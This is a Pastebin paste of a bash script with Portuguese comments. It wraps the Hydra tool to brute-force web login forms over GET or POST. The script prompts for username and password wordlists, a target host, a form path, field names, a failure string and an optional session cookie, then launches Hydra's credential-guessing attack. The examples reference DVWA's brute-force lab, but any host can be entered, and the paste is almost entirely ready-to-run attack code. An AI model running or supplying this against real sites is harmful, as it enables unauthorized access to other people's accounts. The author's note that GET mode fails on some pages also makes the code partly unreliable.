Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Obs: O GET Nao funciona em algumas paginas !!!
- ---------------------
- * DarkProgrammer000 *
- ---------------------
- #################
- #### FUNCAO #####
- #################
- informacao_GET()
- {
- echo -e "\033[01;31m ---------------- EXEMPLO --------------- \033[00;37m"
- echo -e "\033[01;32m - Wordlist [usuarios]: user \033[00;37m"
- echo -e "\033[01;33m - Wordlist [senhas]: pass \033[00;37m"
- echo -e "\033[01;34m - Host: www.exemplo.com \033[00;37m"
- echo -e "\033[01;35m - Validacao: /dvwa/vulnerabilities/brute \033[00;37m"
- echo -e "\033[01;36m - Campo [nome]: username \033[00;37m"
- echo -e "\033[01;37m - Campo [senha]: password \033[00;37m"
- echo -e "\033[01;31m - Saida de erro: 'senha invalida' \033[00;37m"
- echo -e "\033[01;32m - Erro: 'senha invalida' \033[00;37m"
- echo -e "\033[01;33m - Submit [url]: Login \033[00;37m"
- echo -e "\033[01;30m ---------------------------------------- \033[00;37m"
- }
- informacao_POST()
- {
- echo -e "\033[01;31m -------------- EXEMPLO --------------- \033[00;37m"
- echo -e "\033[01;32m Wordlist [usuarios]: user \033[00;37m"
- echo -e "\033[01;33m Wordlist [senhas]: pass \033[00;37m"
- echo -e "\033[01;34m Host: www.exemplo.com \033[00;37m"
- echo -e "\033[01;35m Validacao: /dvwa/vulnerabilities/brute \033[00;37m"
- echo -e "\033[01;36m Campo [nome]: username \033[00;37m"
- echo -e "\033[01;37m Campo [senha]: password \033[00;37m"
- echo -e "\033[01;31m Saida de erro: 'senha invalida' \033[00;37m"
- echo -e "\033[01;32m Erro: 'senha invalida' \033[00;37m"
- echo -e "\033[01;30m -------------------------------------- \033[00;37m"
- }
- Formulario_Web_Padrao()
- {
- echo ""
- echo -e -n "\033[01;32m + Wordlist (usuarios): \033[00;37m"
- read usuarios
- echo ""
- echo -e -n "\033[01;33m + Wordlist (senhas): \033[00;37m"
- read senhas
- echo ""
- echo -e -n "\033[01;34m + Host (Ex: www.site.com): \033[00;37m"
- read site
- echo ""
- echo -e -n "\033[01;35m + Validacao (Ex: /admin/validar.php): \033[00;37m"
- read validacao
- echo ""
- echo -e -n "\033[01;31m + Campo login (Ex: usuario): \033[00;37m"
- read user
- echo ""
- echo -e -n "\033[01;32m + Campo senha (Ex: senha): \033[00;37m"
- read pass
- echo ""
- echo -e -n "\033[01;33m + Saida de erro (Ex: invalido): \033[00;37m"
- read erro
- echo ""
- }
- Cookie_POST()
- {
- echo ""
- echo -e "\033[01;31m Informar Cookie: \033[00;37m"
- echo -e "\033[01;32m [1] Sim \033[00;37m"
- echo -e "\033[01;33m [2] Nao \033[00;37m"
- echo ""
- echo -e -n "\033[01;34m + Opc: \033[00;37m"
- read resp
- # Estrutura em escolha
- case $resp in
- 1)
- echo -e -n "\033[01;35m Cookie (Ex: Cookie: security=low; PHPSESSID=eh3utmffq3fuu0psbc1p24aah7): \033[00;37m"
- read cookie
- # Hydra (com cookie)
- hydra -L $usuarios -P $senhas $site $metodo "$validacao:$user=^USER^&$pass=^PASS^:F=$erro:H=$cookie" -V -t4
- ;;
- 2)
- # Hydra (sem cookie)
- hydra -L $usuarios -P $senhas $site $metodo "$validacao:$user=^USER^&$pass=^PASS^:F=$erro" -V -t4
- ;;
- *)
- ;;
- esac
- }
- Cookie_GET()
- {
- echo -e -n "\033[01;31m Login (Ex: Analisar URL (...&Login=Login): \033[00;37m"
- read login
- echo ""
- echo -e "\033[01;31m Informar Cookie: \033[00;37m"
- echo -e "\033[01;32m [1] Sim \033[00;37m"
- echo -e "\033[01;33m [2] Nao \033[00;37m"
- echo ""
- echo -e -n "\033[01;34m + Opc: \033[00;37m"
- read resp
- # Estrutura em escolha
- case $resp in
- 1)
- echo -e -n "\033[01;35m Cookie: (Ex: Cookie: security=low; PHPSESSID=eh3utmffq3fuu0psbc1p24aah7): \033[00;37m"
- read cookie
- # Hydra (com cookie)
- hydra -L $usuarios -P $senhas $site $metodo "$validacao:$user=^USER^&$pass=^PASS^&$login=$login:F=$erro:H=$cookie" -V -t4;;
- 2)
- # Hydra (sem cookie)
- hydra -L $usuarios -P $senhas $site $metodo "$validacao:$user=^USER^&$pass=^PASS^$login=$login:F=$erro" -V -t4;;
- esac
- }
- ####################
- ##### PROGRAMA #####
- ####################
- clear
- echo -e "\033[01;33m ------------- \033[00;37m"
- echo -e "\033[01;33m Hydra \033[00;37m"
- echo -e "\033[01;33m ------------- \033[00;37m"
- echo ""
- echo -e "\033[01;32m [1] GET \033[00;37m"
- echo -e "\033[01;34m [2] POST \033[00;37m"
- echo ""
- echo -e -n "\033[01;35m + Opc: \033[00;37m"
- read escolha
- echo ""
- # Estrutura em escolha
- case $escolha in
- 1)
- # Metodo GET
- metodo="http-get-form"
- # Chamada de funcao
- informacao_GET
- Formulario_Web_Padrao
- Cookie_GET
- ;;
- 2)
- # Metodo POST
- metodo="http-post-form"
- # Chamada de funcao
- informacao_POST
- Formulario_Web_Padrao
- Cookie_POST
- ;;
- *)
- ;;
- esac
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement